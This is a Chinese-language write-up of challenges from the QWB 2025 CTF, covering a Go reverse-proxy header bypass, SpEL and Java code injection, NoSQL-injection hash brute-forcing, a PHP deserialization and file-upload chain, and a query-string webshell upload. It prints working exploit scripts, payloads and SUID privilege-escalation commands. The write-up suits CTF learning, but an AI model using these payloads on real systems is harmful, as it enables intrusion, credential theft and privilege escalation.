强网杯2025赛题复现

前言

这周比较忙的都过去了,开始复现

Writeup

SecretVault

审计源码,可以观察到

再看由go编写的鉴权系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) {
req.URL.Scheme = "http"
req.URL.Host = "127.0.0.1:5000"

uid := GetUIDFromRequest(req)
log.Printf("Request UID: %s, URL: %s", uid, req.URL.String())
req.Header.Del("Authorization")
req.Header.Del("X-User")
req.Header.Del("X-Forwarded-For")
req.Header.Del("Cookie")
if uid == "" {
req.Header.Set("X-User", "anonymous")
} else {
req.Header.Set("X-User", uid)
}
}}

这里存在一个漏洞
博客原文https://www.ory.com/blog/hop-by-hop-header-vulnerability-go-standard-library-reverse-proxy
照样打即可
curl http://47.95.4.104:28680/dashboard -H "X-User:0" -H "Connection:close,X-User"
直接拿到flag

打是这样打,学又是另一回事了
关键就是,在代理最后要转发过来的时候,它会检查它的Connection,并从请求头中删除对应的值,这样导致X-User的缺失,使默认为admin[0]

bbjv

根据docker发现flag.txt在/tmp下,但是当前的user.home是/root
虽然存在表达式注入,但是非常严格的WAF导致基本进行不了什么操作
结合这样的路径差异,我们可以尝试更改当前的user.home指向/tmp
靶机就会去读/tmp下的flag.txt
payload为
#{#systemProperties['user.home'] = '/tmp'}
即可

复现

yacms

开始做时以为又是什么0day漏洞,审源码
结果第二天睡醒起来看到被打烂了
也是百思不得其解了:(
进入myproject下面的Algoorithms
来到这里

这个位置我们可以执行java代码
我们开启trace
注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
try {
String[] commandArray = {"/usr/bin/env", "bash", "-c", "cat /flag"};

Process process = Runtime.getRuntime().exec(commandArray);

java.io.InputStream inputStream = process.getInputStream();
java.io.ByteArrayOutputStream buffer = new java.io.ByteArrayOutputStream();
byte[] dataBlock = new byte[4096];
int bytesRead;
while ((bytesRead = inputStream.read(dataBlock)) != -1) {
buffer.write(dataBlock, 0, bytesRead);
}

int returnValue = process.waitFor();
String resultText = buffer.toString(java.nio.charset.StandardCharsets.UTF_8.name());

out0.setStringValue(resultText + "RETURN_VALUE=" + returnValue);
} catch (java.io.IOException e) {
out0.setStringValue("IO_ERROR: " + e.toString());
} catch (InterruptedException e) {
out0.setStringValue("PROCESS_INTERRUPTED: " + e.toString());
}

这样可以在out0上看到回显

anime

该题有原型:https://hackmd.io/@Nightcore/H1IHmIYIlg
原题有源码这里没有?有点⑩
这题有两种打法,第一种ip够多的话直接爆五位数字密码即可
第二种打法就是爆破hash,再爆破密码了
这里使用脚本进行爆破hash和salt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import requests
from bs4 import BeautifulSoup

URL = "http://47.105.120.74:1010"
wordlist = [i for i in "0123456789abcdefghijklmnopqrstuvwxyz"]

session = requests.Session()
cookies = {
"session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiJhYWFhYSJ9fQ==",
"session.sig": "qwfttVYZITX4KfPxoYlmxKACquo"
}

# Viết lại script để tự động hóa quy trình register

salt = ""
for index_salt in range(32):
for i in range(len(wordlist)):
data = {
"data.fullname": "abc",
"data.email": "",
"data.phone": "",
"data.website": "",
"secret[$ne]": "null",
"data.address.street": "",
"data.address.city": "",
"data.address.state": "",
"data.address.zip": "",
"salt": f"{salt}{wordlist[i]}"
}

res = session.post(f"{URL}/user/aaaaa/edit", data=data, cookies=cookies, allow_redirects=False)
res = session.get(f"{URL}/users?limit=600&sort=salt", cookies=cookies)
soup = BeautifulSoup(res.text, 'html.parser')
users = soup.find_all('a', {'class': 'anime_title'})
usernames = [u.text.strip() for u in users]
name1 = "TTXSMcc"
name2 = "aaaaa"
idx1=0
idx2=0
if name1 in usernames and name2 in usernames:
idx1 = usernames.index(name1)
idx2 = usernames.index(name2)
if idx1 < idx2:
if index_salt == 31:
salt += wordlist[i]
break
salt += wordlist[i - 1]
print(f"Found salt: {salt}")
break
print(f"Final salt: {salt}")

hashed = ""
for index_salt in range(64):
for i in range(len(wordlist)):
data = {
"data.fullname": "abc",
"data.email": "",
"data.phone": "",
"data.website": "",
"secret[$ne]": "null",
"data.address.street": "",
"data.address.city": "",
"data.address.state": "",
"data.address.zip": "",
"hash": f"{hashed}{wordlist[i]}"
}

res = session.post(f"{URL}/user/aaaaa/edit", data=data, cookies=cookies, allow_redirects=False)
res = session.get(f"{URL}/users?limit=600&sort=hash", cookies=cookies)
soup = BeautifulSoup(res.text, 'html.parser')
users = soup.find_all('a', {'class': 'anime_title'})
usernames = [u.text.strip() for u in users]
name1 = "TTXSMcc"
name2 = "aaaaa"
idx1=0
idx2=0
if name1 in usernames and name2 in usernames:
idx1 = usernames.index(name1)
idx2 = usernames.index(name2)
if idx1 < idx2:
if index_salt == 63:
hashed += wordlist[i]
break

hashed += wordlist[i - 1]
print(f"Found hashed: {hashed}")
break
print(f"Final hash: {hashed}")
print(f"Final salt: {salt}")

成功爆破之后再将得到的hash和salt来爆破密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const crypto = require("crypto");

const salt = "c8eb3c22ae12612355a8b73d0e0ccbdb";
const target_hash =
"2d37f432e875c5513a5d9967c3968ec8c29c9d2d75d86302b75488d275d48c98";

for (let i = 10000; i <= 99999; i++) {
const password = i.toString().padStart(5, "0");
const hash = crypto
.pbkdf2Sync(password, salt, 25000, 32, "sha256")
.toString("hex");
if (hash === target_hash) {
console.log("Found password:", password);
process.exit(0);
}
if (i % 1000 === 0) {
console.log("Tried:", password);
}
}
console.log("Password not found");

爆破得到密码登录即可
登录之后发现已被缓存,利用大小写不敏感特性
将url中的TTXSMcc转换为大写或小写,即可得到flag

结语

有点摸不着头脑还是

ezphp

该题很有意思,全程困扰自己最艰难的地方就是如何注册这个readflag方法,开头实现任意文件上传,结尾可以通过包含.phar文件名的文件,进行绕过WAF实现RCE
有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}

date_default_timezone_set('Asia/Shanghai');

class test {
public $readflag;
public $f;
public $key;

public function __construct() {
$this->readflag = new class {
public function __construct() {
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed);

$uploadDir = 'uploads/';
$files = glob($uploadDir . '*');
foreach ($files as $file) {
if (is_file($file)) unlink($file);
}

$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.' . 'jpg';
$GLOBALS['file'] = $newFilename;
$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;

if (system("cp ".$uploadedFile." ". $uploadPath)) {
echo "success upload!";
} else {
echo "error";
}
}
}

public function __wakeup() {
phpinfo();
}

public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\/\//', $file)) die("error");

$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}

include("uploads/" . $file);
}
}
}
};
}

public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag;

if ($this->key == 'class') {
new $func();
} else if ($this->key == 'func') {
$func();
} else {
highlight_file('index.php');
}
}
}

$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);

有一点很有意思,eval(base64_decode(xxxxxxxx));
为什么不大大方方的展示源码而要压缩在一行呢?真的是很有意思的一道题,有点遗憾的是当时没有死磕
$this->key == 'class',进入匿名类的调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed);

$uploadDir = 'uploads/';
$files = glob($uploadDir . '*');
foreach ($files as $file) {
if (is_file($file)) unlink($file);
}

$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.' . 'jpg';
$GLOBALS['file'] = $newFilename;
$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;

if (system("cp ".$uploadedFile." ". $uploadPath)) {
echo "success upload!";
} else {
echo "error";
}
}

这里实现任意文件上传,文件名是可预测的

可预测的文件名

echo intval("phar.phar.gz"); => 0
echo $time = date('Hi'); 在一分钟内保持不变
这样的话

1
2
mt_srand("06170");
echo generateRandomString( 8);

生成的就是固定的smstmozm(一分钟内)
这样的话,$newFilename是可预测的,这就给我们后续文件包含,打下一个基础
但就这样了吗?
不是的,我们不止能预测,甚至可以控制
给出一个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
function generateRandomString($length = 8)
{
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}
date_default_timezone_set('Asia/Shanghai');
$readflag=1;
while (true){
$time = date('Hi');
$seed = $time . intval($readflag);
mt_srand($seed);
$str = generateRandomString(8);
if(substr($str, 0, 4) === 'phar'){
echo $readflag, PHP_EOL.'<br />';
echo $str, PHP_EOL.'<br />';
echo $seed, PHP_EOL.'<br />';
break;
}else{
$readflag++;
}
}

奇迹

1
2
3
4
227673
<br />pharymsi
<br />2051227673
<br />

意思是,我们传入文件名为227673,可以上传于/uploads/目录下一个含有.phar字符的文件,cool

文件包含:phar压缩绕过

这样的trick近两个月一直在出现,而它的要求很简单,只需文件名含有.phar,它就会有一步gzip解压的操作
我们看一下文件包含部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\/\//', $file)) die("error");

$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}

include("uploads/" . $file);
}
}
}

对于这样的正则preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content),能绕的方法不多,只是phar压缩绕过
完美符合

调用全局函数readflag

但是,我们观察到这是一个readflag()->readflag(),不太理解其中关系?我们再写一个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class SomeClass {
public function readflag() {
print("第一个readflag");
function readflag() { // 全局函数,但是必须先被注册
echo "我是全局函数";
}
}
}
// 此时全局函数 readflag() 还不存在
//readflag();//自然报错
$obj=new SomeClass();
$obj->readflag(); //回显第一个readflag,同时注册全局函数
readflag();//直接调用

但是我们看到 $this->key == 'func'\n$func();
我们理论上上只要能够调用test实例化时又一次实例化了的一个匿名类的readflag方法,自然实现注册,此时,就可以直接调用全局函数,实现一句话木马,然后RCE
这就是一个匿名类的问题? 解决两种,第一,我们是否能像找匿名函数一样去找匿名类的名称?第二,假使我们知道名称之后,应该如何进行调用?
不难想到用数组,但是我们知道,匿名类无法被序列化,因此无法打[$test1 -> readflag,'readflag']而调用匿名类的readflag方法

需要我们进行调试,尤其是底层的调试,在调试中,我们可以发现,在宿主机初始阶段(须重置,和匿名函数一样)
当此匿名类被创建时,这个全局函数readflag被注册->readflag/var/www/html/index.php(1) : eval()'d code:1$1
这也就是说,它本身在实例化的时候,就已经被注册了,就已经可以被全局调用了
这里很有意思,由于eval(base64_decode(xxxx));
因此限定为1行
至此,我们可以有一个小demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?=eval(base64_decode('Y2xhc3MgdGVzdAp7CiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQogICAgewogICAgICAgIGVjaG8gJ2J1aWxkIGFueW1vdXMgY2xhc3MnLCBQSFBfRU9MOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZWFkZmxhZygpCiAgICB7CiAgICAgICAgZnVuY3Rpb24gcmVhZGZsYWcyKCkKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gJ2ZsYWd7eHh4fScsIFBIUF9FT0w7CiAgICAgICAgfQogICAgfQogICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgICRmdW5jID0gJF9HRVRbJ2Z1bmMnXSA9PT0gbnVsbCA/ICdwaHBpbmZvJyA6ICRfR0VUWydmdW5jJ107CiAgICAgICAgJGZ1bmMoKTsKICAgIH0KfQpuZXcgdGVzdCgpOw=='));
// 等效为
class test
{
public function __construct()
{
echo 'build anymous class', PHP_EOL;
}
public function readflag()
{
function readflag2()
{
echo 'flag{xxx}', PHP_EOL;
}
}
public function __destruct()
{
$func = $_GET['func'] === null ? 'phpinfo' : $_GET['func'];
$func();
}
}
new test();

传入readflag/var/www/html/index.php(1) : eval()'d code:1$1 成功
也有师傅是找到匿名类的定义方式,然后用数组的方式调用这个匿名类的readflag方法
比如通过 get_class()的方式查看匿名类的序列化情况
匿名类的调用规则是class@anonymousmailto:class@anonymous + %00 + 路径 + : + 定义的行号 + $ 匿名类序号
而在eval中为,class@anonymousmailto:class@anonymous + %00 + 路径 + : + (eval 的行号) + eval()'d code: + eval 中定义的行号 + $ 匿名类序号

1
2
3
$test1 = new test();
$test1->key = "func";
$test1->f = ["class@anonymous\00/var/www/html/index.php(1) : eval()'d code:1$0", 'readflag'];

也是可以的

最后的payload

也许会想,传两次包,一次上传,一次包含?
我们可以看到这处判断

1
isset($GLOBALS['file'])

而这个全局变量,来自于文件上传的后的文件名,来自匿名类的实例化部分
即,我们必须同时,在一个请求内创建new test()和调用readflag()。
即,数组

1
a:2:{i:0;O:4:"test":3:{s:8:"readflag";i:1250881;s:1:"f";s:4:"test";s:3:"key";s:5:"class";}i:1;O:4:"test":3:{s:8:"readflag";i:1250881;s:1:"f";s:55:"%00readflag/var/www/html/index.php(1) : eval()'d code:1$1";s:3:"key";s:4:"func";}}

至此收束
这里可以看Polaris的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
function generateRandomString($length = 8)
{
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}
date_default_timezone_set('Asia/Shanghai');
class test
{
public $readflag;
public $f;
public $key;
}
$readflag=1;
while (true){
$time = date('Hi');
$seed = $time . intval($readflag);
mt_srand($seed);
$str = generateRandomString(8);
if(substr($str, 0, 4) === 'phar'){
echo $readflag, PHP_EOL.'<br />';
echo $str, PHP_EOL.'<br />';
echo $seed, PHP_EOL.'<br />';
break;
}else{
$readflag++;
}
}
$test = new test();
$test->readflag = $readflag;
$test->key = 'class';
$test->f = 'test';
$test2 = new test();
$test2->readflag = $readflag;
$test2->key = 'func';
$test2->f = urldecode("%00readflag/var/www/html/index.php(1) : eval()'d code:1$1");
$exp=serialize(array($test, $test2));
echo $exp, PHP_EOL.'<br />';
?>
<!DOCTYPE html>
<html>
<head>
<title>File Upload</title>
</head>
<body>
<h2>Upload File</h2>
<form action='https://eci-2zei3ure1bkiq5oi5ewp.cloudeci1.ichunqiu.com:80/?land=<?php echo urlencode($exp);?>' method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<input type="submit" value="Upload">
</form>
</body>
</html>

这种payload很完美,完美包含了后续的文件上传部分,cool~

后半部分提权

拿到shell之后,发现需要提权,查找suid权限
(suid提权必看)[https://gtfobins.github.io/]

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

发现base64,可以读取/flag内容

1
base64 /flag | base64 -d

结束

结语

这道题,很有意思,手动调起来()

日志系统

前言

难崩的前半段 贴一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
$queryString = $_SERVER['QUERY_STRING'] ?? '';
if (empty($queryString)) {
exit("未检测到任何 GET 参数。");
}
if (strpos($queryString, '%') !== false) {
exit("非法请求:GET 参数中不允许包含 '%' 字符。");
}
$params = explode('&', $queryString);
$expectedOrder = ['timestamp[year]', 'timestamp[month]', 'timestamp[day]'];
$foundKeys = [];
$duplicates = [];
$values = [];

foreach ($params as $param) {
$parts = explode('=', $param, 2);
$key = urldecode($parts[0]);
$value = isset($parts[1]) ? urldecode($parts[1]) : '';

if (preg_match('/^timestamp\[[a-zA-Z]+\]$/', $key)) {
if (in_array($key, $foundKeys)) {
$duplicates[] = $key;
} else {
$foundKeys[] = $key;
}
$values[$key] = $value;
}
}

$missing = array_diff($expectedOrder, $foundKeys);
$extra = array_diff($foundKeys, $expectedOrder);

if (!empty($duplicates)) {
exit("检测到重复的参数:" . implode(', ', array_unique($duplicates)));
}
if (!empty($missing)) {
exit("缺少参数:" . implode(', ', $missing));
}
if (!empty($extra)) {
exit("含有多余参数:" . implode(', ', $extra));
}
if ($foundKeys !== $expectedOrder) {
exit("参数顺序错误,应为:" . implode(' → ', $expectedOrder) . "。当前为:" . implode(', ', $foundKeys));
}
foreach ($expectedOrder as $k) {
if (!isset($values[$k]) || !ctype_digit($values[$k])) {
exit("参数 {$k} 必须为纯数字,当前为:" . ($values[$k] ?? '未提供'));
}
}
$content = $_POST['content'] ?? '';
if (trim($content) === '') {
exit("未检测到 POST 内容(content)。");
}


$dir = __DIR__ . '/upload';
if (!is_dir($dir)) mkdir($dir, 0777, true);

$year = $_GET['timestamp']['year'];
$month = $_GET['timestamp']['month'];
$day = $_GET['timestamp']['day'];
$filename = $dir."/".$year.$month.$day;
if (file_put_contents($filename, $content . PHP_EOL, FILE_APPEND | LOCK_EX) === false) {
exit("写入文件失败");
}

echo "日志保存成功";
?>

这一道题的考察点既是利用差异化解析上马,我们可以看到只要可以绕过前面$_SERVER['QUERY_STRING']后的处理,即可GET获取参数值进行文件名控制,上webshell
当然如果%没禁这道题很简单,毕竟GET解析时会自动解码
如此

img

实际的QUERY_STRING后的要求就不分析了,就一个点,根据字符串正则进行要求,有顺序正确,且不缺失,且不重复
当然在这里有绕过的地方
我们传入timestamp[day]=1和timestamp[day][]=1是不一样的,因此绕过WAF,但是get会接受数组,最后拼接时变成Array,显然,无法达成目标
有意思的是php.ini里存在扩展,开启之后不止用&分隔传参,还有;,不过默认关闭,开启的话这题也好说
那还有什么绕过思路呢?

赛后直接癫,一个+号的事,清楚一个事情,首先自定义的不会解码因此实现绕过timestamp[day]不等于+timestamp[day]
然后get获取参数时会默认解码,+为空格,因此会直接被忽略掉,成功覆盖控制
实际调一下吧
null

null

直接绕过上传111.php文件了,即可RCE

这里要对php一些行为有深刻认识,并能意识到没有%,php也会对+自动解码(sql注入加日常传参应该很深刻才是,哎)

后半段需要查找flag位置并进行提权操作

flag在/etc下,通过ps命令查看进程,发现jboss是root起的,考虑jboss提权即可
思路即打法如下:
https://y4er.com/posts/jboss-4446-rce-and-rpc-echo-response/
直接打CVE即可

PTer

0day吗,有意思

CeleRace

神马神马代码审计